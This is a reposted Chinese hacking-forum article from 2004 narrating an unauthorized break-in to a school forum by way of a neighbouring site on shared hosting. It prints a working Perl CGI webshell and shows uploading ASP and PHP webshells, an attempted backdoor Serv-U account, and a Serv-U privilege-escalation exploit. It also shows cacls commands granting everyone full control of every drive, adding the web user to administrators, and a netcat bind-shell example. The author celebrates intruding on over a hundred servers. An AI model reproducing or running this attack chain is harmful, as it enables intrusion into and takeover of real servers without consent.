找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1958|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 & ~* W, \, ^! m. o
本文作者:angel
# L3 M; O' m2 t文章性质:原创: Y9 ]3 s  O& p9 h6 h1 S
发布日期:2004-11-09 ; g. S3 x+ l# z* D4 a6 g
注意:
- n3 c6 K+ {0 H! q本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
& n2 x+ }. }, G, M% [- s本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
2 |8 q- ^# i; h" j
& [: n& I# Q: F% y& \4 C  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
7 p. P# u/ d& |7 d
4 C2 ^2 b  R4 y7 t  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 , f# C' o  e8 f& c# ]7 P  y7 n

! b4 h' h8 D# [' a$ Z0 V# X  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 + B' q, ]. `, t: C- F
' W, I( G) c. N! ~: n6 E! U# _2 h
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 0 T" m. G. i. M% H( t
1 ]4 ]+ N) N7 v) T
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
" o4 z$ l3 D0 @& W! V5 J
3 y1 Z( u8 X& f, A0 h4 |1 U  没有目的的跳转目录着…… + e$ n( N7 x0 o% I

! [9 M" A5 t: b  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
' N+ w: r* W1 o; O/ z- X4 u' H6 n  [) v# F: f% f7 S6 a
  结束了吗?不,我试着 FTP 一下: % o2 ]) E4 j: N+ [! G
1 v$ D/ N* f4 M
Microsoft Windows 2000 [Version 5.00.2195]
: d1 K" K6 U2 \. d/ N(C) 版权所有 1985-2000 Microsoft Corp.
* \2 C; v) Y  j1 j" w- B0 B& a) L: B8 b& j2 Y* c; s' H, F
C:\Documents and Settings\Administrator>ftp www.school.com
: B0 z$ c- P9 rConnected to www. school.com.
" ^& G3 c% {% d# ^( r/ ]: v+ a220 Welcome to FTP Server...
! b3 H/ ~7 f* H3 YUser (www.bjtrq.com:(none)): ( ]( T5 c+ v4 ~/ r6 y3 r$ E
331 User name okay, need password. 1 O/ ?( E* @4 r
Password:
* r8 ]! O: W+ U! B; e530 Not logged in.
) O& c, ^7 m$ H, f, wLogin failed. ' K0 }6 H, I, ]0 U; ~
ftp> bye
+ ~6 h2 d3 Q! R8 M. m221 Goodbye!
" i* A% V& k# t  P% A1 [+ U 4 v3 r5 T  d4 C4 y/ ]0 Y* b2 ]7 j! g
( @; L: B; `! v! G# C* F
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
0 u: C$ x# W; j. _1 g- h* x- Z1 r, M* G; E& p
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 1 W9 b: F, c# e3 p5 \" c

) A5 o* C! M  u3 f. cApplication Data. h: V3 c6 l# i$ X
Documents
% Z/ N: T4 w+ b* \3 X7 kDRM
! Z  l3 |. y4 m) d  xFavorites" ?" ^3 I$ N8 `+ \, V
Templates
5 H4 @. [( D% d# D6 w- e% Z3 _, K/ h「开始」菜单
8 @1 L- Q2 f0 Y桌面
5 E8 E- y- c  i- f 0 u9 c6 R' p, m8 z  ?  f

5 o' [% ?- s+ ~% N- ?1 h6 U  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
" h; X7 X  Z3 f$ ]6 y' a& u" j- T6 M% j
ActiveState ActivePerl 5.8
3 m+ A/ T1 r3 tAdministrative Tools% }: d$ Q, V6 T, b, c  \
Deerfield.com8 [& Y0 H& l  B+ Y5 ^; o' |
DTemp8 {4 b0 Y6 [+ M! u
IPSentry" D- E5 q$ h1 Y( m* {9 t; t) |
MBM 5' r; Q  Q) g( y- F- H7 A
NetMeter+ t: Z/ \& }* M6 X' H) G. m% p
Network ICE
% G# s2 A3 }9 ?5 @6 K+ i& X& g7 ]Persits Software AspEmail3 z7 l; M4 s2 X+ C5 h. h! |% ~
Persits Software AspJpeg
% e1 a! `* e! o0 `2 M) mServ-U FTP Server5 D& h7 V" Q) m" d6 n  k
Symantec Client Security  Z; |: i0 B! D" f8 d, j
Windows 优化大师0 o, L0 l+ D+ c( V* W8 Q
WinRAR
& @$ b9 u$ q6 l& Z3 E* v启动
  I5 ]$ M3 w7 M6 ~. j# o管理工具8 ]) ]3 A+ k. {; |2 m
附件& f9 a( @) p$ t. x6 M& m% m/ t5 D; V" v

+ C. j4 F5 o# n$ g/ D9 B6 l3 ^# Y+ `1 r* h  H1 f
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
( i4 y2 d; ?: C& K5 i
& p0 h" e' X; A0 `  y  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
6 Y: u6 c# V5 o8 b" H, l) M: ^: y$ o1 N* H8 l. _
User281=angel|1|0
& K% i* d  M2 T7 _0 E( P, ]  A7 h
; Q3 F( R( G' [% }, e  b( ^" M% ]! B& @& }( U; e5 Q
  然后加上 0 N$ f2 ^; Q' \; R; }

8 s- ^0 B2 p6 |0 H- G[USER=angel|1]: [1 H7 J, g5 v) q5 m  n
Password=ng98F85379EA68DBF97BAADCA99B69B805
2 c! D8 M# H) zHomeDir=D:\websites
! X1 P0 K4 M3 g2 Z9 B4 n3 SRelPaths=1/ r) {0 a, V( R; O$ g$ y4 \
TimeOut=6006 H, F! e' E1 C' K, w* V, m
Maintenance=System! @+ ]! b# u6 |+ X  S2 ^" k
Access1=D:\websites|RWAMELCDP5 s  n' d' k4 l6 [
SKEYValues=; O* K3 J! Y+ J% c; U
$ S4 P+ t( F  Y! K  x* b, }
8 Y# b# T; e5 \9 F& u2 z
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
  L3 `! \- b; C- x# D2 g4 s8 ~: u1 H; ]+ h, G$ j  D/ K* J
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 " e( N, J1 l+ K- ]0 u
$ p/ j9 v% c$ i& U
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
! L- C, P: {" G$ ?4 m9 r1 j0 U9 D8 q4 Y7 b5 [
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: / B" m0 n+ C* p7 J. P

5 M, S4 I% x( I9 U. ~( y3 F#!/usr/bin/perl
  f$ o9 B/ Z5 y# u- Mbinmode(STDOUT);
$ F+ L8 s% O- W0 esyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);% K, X1 o4 c( c; h1 Z/ J( G: E" v
$_ = $ENV{QUERY_STRING};. @( l- Z1 r4 X& q5 M
s/%20/ /ig;$ ^" V8 e# ?: Q, v% O5 C+ V
s/%2f/\//ig;8 ^4 `/ ?. q1 L8 L2 L* t! |9 V
$execthis = $_;* y& b  B/ Y  r+ S/ `% D1 q. o7 w
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);4 Q" b) b8 p7 J2 j, v3 Y
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";) ~" k4 i1 `' Y
system($execthis);$ x2 T2 i+ \/ f0 k% q+ W
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);# R( t* v2 Q- s! L1 M/ a
close(STDERR);, _) |. e( x* X/ A; v6 E1 s% I
close(STDOUT);4 G1 F+ Q1 \8 N3 {0 b- [' c
exit;! S1 s5 n: Z+ I+ D( g5 g1 e* `
5 |! `. [1 @& b& U, K6 b" Q) @

1 [. @  f) B2 i+ G8 V, Q; ^" }  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
; v9 a" S/ d5 R5 P1 k% d* Q0 d+ M7 o7 i7 E" T6 E
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
0 O' o% W4 S5 x) q& V  e8 {1 B1 W- Q! }: `5 @, P1 J, a& C4 s
http://anyhost//cmd.pl?d:\user\bin\su.exe   x: }+ o% X9 H! O$ j3 Y. q- v

% Z; B/ Y& @3 I
, W5 t- v. z' o. i: O+ A  返回: / _9 h4 ~7 C+ Z- _! ?
& p. N# X- {. E
Serv-u >3.x Local Exploit by xiaolu 0 @& y* h8 b/ w; i+ i

! G: W( o! e  x5 rUSAGE: serv-u.exe "command"
, D3 h" j0 _- ~) c. m
: T$ G* N+ T  g6 fExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" # R) w/ a5 B4 W. n2 j( o

5 H5 R, Y& }- `5 U
$ d5 s  }. \- d# V2 `! a" n9 W+ I. ?  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ; @# j) S2 ]7 b9 S) O

: _$ K2 x( A0 ?. _' s% w- V9 v+ Whttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
) s8 d1 g6 C& O/ Y3 |" t7 {& N# p7 }3 w, `" r) G
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
9 l, j9 M8 V) X7 s- F% J
( I% d4 G! A; }/ J! vhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" % d: k4 u4 ^: }" p
4 _+ o2 U+ p5 x( z
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
8 x* q  l0 F) @! d! |  p
; Z7 C- E; K- t- A& V+ n  z( L" E' o& T2 U7 V- H; \2 T! r- i* V
  返回下面的信息,就表示成功了!!! 6 @; P! ?9 {8 Q$ J( D9 |- S
& k% x1 B# M' o! V/ o' M4 N
Serv-u >3.x Local Exploit by xiaolu + j& o5 Y( i: C
; O4 X2 b' e, f3 F* M" }$ H+ E" u
<220 Serv-U FTP Server v5.2 for WinSock ready...
  u& v$ S2 U7 ]
( w$ w. {- g% }  j+ ]3 o% w>USER LocalAdministrator ( S  t4 k' B: g$ D; t8 `  s* C' i

, Y& A, `" n: @1 b+ a: U<331 User name okay, need password.
! B! j, L& n2 C; m  M( \
4 o% {; |8 k0 ^# p5 @. h) F& [& N****************************************************** # g" @8 I1 ]) v" R0 ?

1 J! N9 R" r( W9 @* r) K9 p>PASS #l@$ak#.lk;0@P
4 p& m5 M: l/ U! }7 L$ H, }" _2 W' T4 w. T* T. c  G+ N
<230 User logged in, proceed. 9 `2 W- Y4 |. h: e
% ]: Y4 e* }: Z0 Y; ]+ j/ ~( n! M
****************************************************** ( B& F1 z" ]% N0 G( K

- K  P8 x- {6 M" a- r# j: B>SITE MAINTENANCE 4 ^/ v6 {! K" w1 o) d% Y' a; J+ m

. w+ {. F# u+ A2 d$ }! ~( y/ T****************************************************** ( x- w/ D+ ~+ T5 U
  K/ r6 W  {8 r. U. l6 b' x- \
[+] Creating New Domain... " o: Z% r2 Y! {8 e

* ]; d; J! D6 k  e# u<200-DomainID=2 : g. R* E' m' h; s! p% \) r* P
0 K. _* n* `: D! L
<220 Domain settings saved 5 r/ ^% j3 S9 s( y- M2 ?

  o6 ?+ Y# \% H6 d0 x  }& b! o******************************************************
4 L) C1 z* e9 D# z" H+ C1 ^
9 ?' F2 ?+ ]0 c/ m- j  r% y. ~[+] Domain xl:2 Created 7 U6 I+ J; g- N6 O2 t0 A

! o" z" _: o# i) @[+] Creating Evil User
( D; R0 a5 i4 N% O" Y6 U. u; ?6 R% W3 q1 k) R5 W/ T/ j1 d8 }8 n3 g
<200-User=xl
* j' p) f' p7 m2 U1 b
* R/ i: B5 J( m200 User settings saved
5 T" f' J7 V% B, w: G0 O( }% ?  \. H' t; X9 r  F" {. g
******************************************************
/ V$ W3 s0 Z3 M
) G$ s' O% v; S* @6 F! s[+] Now Exploiting... : S8 \/ L  F: D' V" l  A

0 G0 Y: z; r5 `7 e8 [$ p+ V) B>USER xl 5 [7 P. f  V3 I1 p5 r
8 k! W. l7 `4 O
<331 User name okay, need password.
7 O; f1 u2 c9 T' z: {/ u' x$ K3 N) p
****************************************************** # Q) M" Q8 h- T- r
/ |# t! ?# T( N: {; D" q$ n2 t
>PASS 111111 / Q. H( v, N, |( X, y' T, ~
+ k3 J- w$ O4 U* s) [! h0 ?
<230 User logged in, proceed. % H4 T; a( h4 R; o, s% M

" q" n# d" K7 b2 O6 g******************************************************
% [- H3 I8 b8 \( ~6 z$ c6 K
0 @( X; a# c- u- N+ l- K% K[+] Now Executing: cacls.exe c: /E /T /G everyone:F
$ |& R% q- O  N( u* P; v9 Z9 |
: t$ k" V, W; B. ?& G- v2 Z# W<220 Domain deleted
4 f! k" `5 V2 O5 d$ H* ^% t8 Y8 s  X5 z9 w
******************************************************
6 I6 Z0 c$ j' n6 z
: _. _, c  Y6 p: _. F
, ^9 k( @! M, C, f  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
; {. ?4 T' l. ?: i' I+ h* ^6 i, V: j6 E) [' A3 c* T
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
. g3 [; a+ t% h; [4 ]; N
: V0 T7 d6 \: ]0 |& c0 i
  Q$ F' k4 Y/ w; A  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
  Z, L) d9 x. R
0 w6 w' W/ }* k7 ^  ^  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
; L1 v9 U8 E1 a4 N7 ^1 u" Z 5 d: O) P  C# Q6 ]- r
  + O) I6 L8 Y( p6 m9 F8 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表